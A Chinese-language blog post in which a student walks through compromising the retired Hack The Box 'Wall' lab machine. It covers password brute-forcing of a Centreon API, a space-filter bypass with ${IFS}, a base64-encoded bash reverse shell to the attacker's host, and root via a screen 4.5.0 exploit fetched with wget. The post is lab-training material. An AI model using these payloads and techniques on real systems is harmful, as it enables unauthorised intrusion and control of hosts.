总算是挺过了期末12门的魔鬼考试日程,迎来了寒假......这次寒假打算学的还挺多的,也希望自己能坚持学习,把知识尽量融会贯通吧。
之前曾说过希望能早日拿下自己在hackthebox上的第一台靶机,没想到这么快就在帮助下拿到手了。其实在进入期末复习阶段中的一段时间,自己就参考youtube上一位优秀的hacker youtuber关于hackthebox的视频成功拿到了靶机,只不过一直没写文章。而现在这台Wall靶机在hackthebox上也已经处于下架状态,所以我就简单记录一下拿下Wall的过程,没法贴实操图了。
参考的youtuber:IppSec https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA
幸好自己英语水平过硬,可以啃他的生肉视频。感谢这位大佬,确实帮到了我很多。
本机ip:10.10.14.3
(也许吧,记不得了hhh)
靶机ip:10.10.10.157
然后回顾一下整个过程吧。首先第一步当然是使用hackthebox提供给我们的ovpn连接。这样我们就创建好了与靶机之间的虚拟专有网络。可以访问到题目。
之后就是面对hackthebox上一众靶机的常规套路:使用nmap进行端口扫描(这应该也是正常渗透过程中的第一步)
namp -sC -sV -oA namp/wall 10.10.10.157
我学习了下那位youtuber的好习惯,这里namp不仅做了扫描,同时还保存为文件方便回顾。
之后发现开放了两个端口,80与22,也就是http与ssh对应服务。尝试直接访问,也得到了apache的默认页面。基于ssh并无太多利用之处,可以直接从web页面下手。
那么先扫下目录,来看看有没有什么可能有趣的,在简单的FUZZ一下robots.txt,.htacess都无结果后,果断使用gobuster:
gobuster dir -u http://10.10.10.157/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫到了一个/monitoring,尝试访问,却发现提示unauthorized。并提示输入用户密码,尝试下admin-admin,admin-password,guest-guest等等可能的弱口令无果,于是得另辟蹊径。
顺便补一下webAPI中authorize跟authentication的区别:
身份验证(Authentication):确定用户是谁。
授权(Authorization):确定用户能做什么,不能做什么。
这里从dalao那学到了一招:抓包后,当以GET方式访问/monitoring时,我们得到的是401 unauthorized,但如果以POST方式访问,就会的到页面提示,并拿到后续操作的页面目录 /centreon
再度访问,终于得到一个centreon的登录界面,同时版本为19.04.0那么问题就回到用户密码上了。
为了能了解这一系统,当然需要谷歌了解下centreon到底为何物,以及有什么可以利用的。很快就可以发现,这一版本存在有sql注入,RCE命令执行等等漏洞;或者使用kali上的searchspolit
searchsploit centreon
发现有RCE等等漏洞以及利用,我们对RCEgetshell相对比较轻松,那么就不妨看看RCE的利用
searchsploit -x "此处接利用的脚本文件地址"
仔细审过后发现,从上面提到的种种漏洞到现在具体的RCE,我们都需要在autheticated的前提下利用,那么还是得从登陆界面的用户密码下手。
这里又从大佬那学到了第二招:在登录界面随便输入尝试登录并抓包时,会发现burp抓包得内容除了admin,password参数,还会有centreon自带的token。这就给我们的暴力破解可能性画上了句号。那么还有其他方法爆破吗?有的,通过API来尝试: google后发现确实存在centreon的api,而且确实只传了username,password两个参数,是可以爆破的。
之后继续FUZZ,于是准备post访问:
/centreon/api/index.php?action=authenticate
并顺便传参admin=admin&password=passowrd。发现返回bad crendentials。并且改掉username参数时返回的是一致的,这样就不好通过response来爆破。那只能猜测用户名是admin了。
wfuzz http://10.10.10.157/centreon/api/index.php?action=authenticate -w /usr/share/seclist/Passwords/darkweb2017-top1000.txt -d "username=admin&password=FUZZ" --hc 403
--hc 可以筛掉返回403的结果。
上面用的这个字典我好像kali上并没有,只能自己找字典用了。
很快得到正确的密码 password1......这个弱口令真的是强,简单归简单,总归人手FUZZ应该不太能FUZZ出来......
之后就成功登陆,轮到我们大展身手了。在网上可以查到很多种利用,我参考了dalao的那种命令执行(像这种控制台里的确存在很多可以注入利用的地方)在centreon的configuration中可以进行命令执行,简单试下
ping -c 1 127.0.0.1;
linux的ping貌似与windows有区别。
然而在命令执行时失败了并返回403。继续尝试其他的发现可能是过滤了空格。于是使用常见的一种绕过手段:${IFS}
绕过空格。
另外,我还学到了有别于自己原来垃圾的把空格一个个换成${IFS}的手段。直接在linux命令行中
echo 'ping -c 1 127.0.0.1;'|sed 's/ /${IFS}/g'
就得到了payload ,再度放在刚刚的命令执行空格中,保存,并export configuration以执行命令。发现成功了。
既然测试好了,那我们就直接getshell吧。
原payload:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/8888 0>&1'
这里bash -c 是直接将后面的字符串内容执行命令。而后面bash -i等等就是bash反弹shell的命令了。(这里自己其实自学了好久,也折腾了不晒时间才成功在kali上拿到自己的一台公网vps的shell,之后如果写学习笔记再详细解释理解下)
这里不妨用base64编码下绕检查,我也不记得这里不用base64编码是否会产生被过滤bash的问题,但毕竟bash是高危命令,还是执行编码为妙。
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.3/8888 0>&1' "|base 64
得到:
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4ODggMD4mMSc=
那么绕过空格:
echo "echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4ODggMD4mMSc= | base4 -d | bash" |sed 's/ /${IFS}/g'
现payload:
echo${IFS}YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4ODggMD4mMSc=${IFS}|${IFS}base4${IFS}-d${IFS}|${IFS}bash;
记得最后要有分号。之后在自己kali上监听8888端口:
nc -lvp 8888
命令执行即可getshell。
拿 user 权限
hackthebox的靶机拿下,并不只是简单的getshell,而是要分别拿到root权限与user权限下的两个文件中的flag提交才算成功。这里自己因为没什么提权经验,很大程度上参考了不少wp与视频才算成功。
先从简单的user开始:
ls -la
发现user有shelby与sysmonitor两个。找一下shelby的内容后发现只有shelby有权限读user.txt即flag。
经过一番挖掘,可以发现能够找到/opt/.shelby/backup这一文件。file backup
后发现是一个python编译文件,可能就是pyc吧。执行下python backup
这时我们如果再ls -la,就会发现我们不知怎么已经完成了authentication。
进入目录。
base64 backup
将结果在本机的vim保存为backup.pyc.b64,再base64解码,这样这样一个pyc文件就算到了本机了。然后我们用python 的uncompyle库反编译一下。还原了py文件。
从其中直接拿到shelby 的密码 ShelbyPassw@rdIsStrong!
ssh登录shelby即可读user.txt。
拿 root 权限
拿root权限时我就比较尴尬了,因为这里root的payload可以直接拿到root跟shelby二者的权限。
参考了一个解法:
/bin/screen-4.5.0
For this exact version there is a vulnerability that allows to escalate to root
这里/bin下的screen版本允许我们直接利用漏洞拿到root权限。payload在此:https://github.com/XiphosResearch/exploits/tree/master/screen2root
那接下来只用把脚本放到我们拿到shell的机子执行screenroot.sh即可。那么如何传输文件呢?这里运用到了python强大的功能,也是自己之前曾用过的SimpleHTTPServer
python -m SimpliHTTPServer
这样就默认监听8000端口了,先把脚本放在根目录。尝试curl 10.10.14.3:8000/screenroot.sh
失败,没有安装curl。再尝试wget 10.10.14.3:8000/screenroot.sh
成功,在靶机shell拿到脚本。
bash screenroot.sh
运行成功,进入shell的交互页面。cat /root/root.txt即可,还可以cat /home/shelby/user.txt拿到之前的userflag。
大抵如此吧。当时即使在参考,自己也花了不少时间在getshell后的提权上,看来自己还要再多加了解学习呀。寒假已经开始,我也争取再拼一把,多学一些web方面的知识吧。
网友评论